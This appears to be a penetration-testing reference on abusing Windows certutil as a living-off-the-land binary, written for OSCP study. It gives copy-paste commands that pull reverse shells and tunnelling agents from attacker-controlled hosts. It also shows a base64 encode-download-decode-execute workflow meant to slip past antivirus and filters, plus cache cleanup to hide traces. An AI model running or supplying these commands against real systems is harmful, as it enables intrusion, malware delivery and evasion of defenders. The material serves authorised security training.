certutil — Windows Certificate Utility Reference

External: Internal All The Things — Windows Download Execute

What is certutil?

certutil is a built-in Windows command-line tool designed for managing certificates and the Windows certificate store. During penetration testing it is widely abused as a Living-Off-the-Land Binary (LOLBin) for:

  • Downloading files from a remote server (no PowerShell needed)
  • Base64 encoding / decoding files
  • Computing file hashes (MD5, SHA1, SHA256)
  • Encoding payloads for transfer and decoding them on target

OSCP use: Go-to file transfer method when PowerShell execution is restricted. Also useful for encoding payloads and verifying file integrity.


Syntax

certutil [options] [arguments]

📌 1) File Transfer (Download)

This is the most common pentest use — pull a file from a remote HTTP server:

certutil -urlcache -split -f http://192.168.45.227:8000/ligolo/agent.exe agent.exe
certutil -urlcache -split -f http://192.168.45.227:8000/PowerUp.ps1 PowerUp.ps1
certutil -urlcache -split -f http://192.168.45.227:8000/revshell.exe revshell.exe
FlagDescription
-urlcacheDisplay or delete URL cache entries (side effect: downloads)
-splitSplit embedded ASN.1 elements and save to file
-fForce overwrite of an existing cached copy

Download variants

REM Download an executable
certutil -urlcache -split -f http://10.10.14.5:8080/shell.exe C:\Temp\shell.exe
 
REM Download a script
certutil -urlcache -split -f http://10.10.14.5:8080/revshell.ps1 C:\Temp\rev.ps1
 
REM Download to current directory
certutil -urlcache -split -f http://10.10.14.5/nc.exe nc.exe
 
REM HTTPS download (ignores cert errors in newer Windows)
certutil -urlcache -split -f https://10.10.14.5/file.exe C:\Temp\file.exe

editable:

certutil -urlcache -split -f http://192.168.45.227:8000/MilleGPG5.exe MilleGPG5.exe

Clear the URL cache after download (cleanup)

certutil -urlcache -split -f http://ATTACKER_IP/file.exe C:\Temp\file.exe
certutil -urlcache -f http://ATTACKER_IP/file.exe delete

Tip: The download leaves a cache entry. Delete it with the above to reduce artifacts.


📌 2) Base64 Encode / Decode

Encode a file to base64

certutil -encode C:\Temp\shell.exe C:\Temp\shell.b64

Output is a base64 text file with -----BEGIN CERTIFICATE----- / -----END CERTIFICATE----- headers.

Decode base64 back to binary

certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe

Full encode-transfer-decode workflow

On attacker (Linux):

# Encode the payload
base64 shell.exe > shell.b64
 
# Serve it
python3 -m http.server 8080

On target (Windows):

REM Download the encoded file
certutil -urlcache -split -f http://10.10.14.5:8080/shell.b64 C:\Temp\shell.b64
 
REM Decode it back to a binary
certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe
 
REM Execute
C:\Temp\shell.exe

Why encode? Some AV/EDR solutions and web filters are less likely to flag a base64 text file than a raw .exe.


📌 3) Hash Verification

Verify file integrity or check if a file matches a known hash:

REM MD5
certutil -hashfile C:\Temp\file.exe MD5
 
REM SHA1
certutil -hashfile C:\Temp\file.exe SHA1
 
REM SHA256 (most common for integrity checks)
certutil -hashfile C:\Temp\file.exe SHA256

Supported hash algorithms

AlgorithmFlag
MD2MD2
MD4MD4
MD5MD5
SHA1SHA1
SHA256SHA256
SHA384SHA384
SHA512SHA512

📌 4) Certificate Store Operations (Legitimate Use)

REM List all certificates in the personal store
certutil -store My
 
REM List certificates in the root CA store
certutil -store Root
 
REM List certificates in the machine store
certutil -store -enterprise Root
 
REM Display a certificate file's info
certutil -dump C:\Path\cert.crt
 
REM Verify a certificate
certutil -verify C:\Path\cert.crt
 
REM Export a certificate
certutil -exportPFX My "CertThumbprint" C:\output.pfx

📌 5) All Common Flags

FlagDescription
-urlcacheDisplay/delete URL cache; used with -split -f for downloads
-splitSplit ASN.1 elements to file
-fForce fetch / overwrite
-encodeBase64-encode a file
-decodeBase64-decode a file
-hashfileCompute hash of a file
-store <name>View a certificate store
-dumpDump certificate/file info
-verifyVerify a certificate
-addstoreAdd a cert to a store
-delstoreRemove a cert from a store
-exportPFXExport certificate and private key as PFX
-importPFXImport a PFX certificate
-p <password>Password for PFX import/export
-enterpriseUse machine/enterprise store instead of user store
-userUse user certificate store
-silentSuppress output
-vVerbose output

📌 Quick OSCP Cheat Sheet (Copy/Paste)

REM Download a file from attacker HTTP server
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe
 
REM Download and clean cache
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe & certutil -urlcache -f http://ATTACKER_IP:8080/file.exe delete
 
REM Encode binary to base64
certutil -encode C:\Temp\shell.exe C:\Temp\shell.b64
 
REM Decode base64 back to binary
certutil -decode C:\Temp\shell.b64 C:\Temp\shell.exe
 
REM Hash check
certutil -hashfile C:\Temp\file.exe SHA256

Certutil vs Other Transfer Methods

MethodCommandNotes
certutilcertutil -urlcache -split -f URL destBuilt-in; no PS needed; leaves cache entry
PowerShell WebClient(New-Object Net.WebClient).DownloadFile(URL, dest)May be blocked by execution policy
Invoke-WebRequestiwr URL -OutFile destPowerShell 3+; common in modern Windows
bitsadminbitsadmin /transfer job URL destOlder LOLBin; still works on legacy systems
SMBcopy \\ATTACKER\share\file destRequires SMB share on attacker
curlcurl URL -o destAvailable in Windows 10 1803+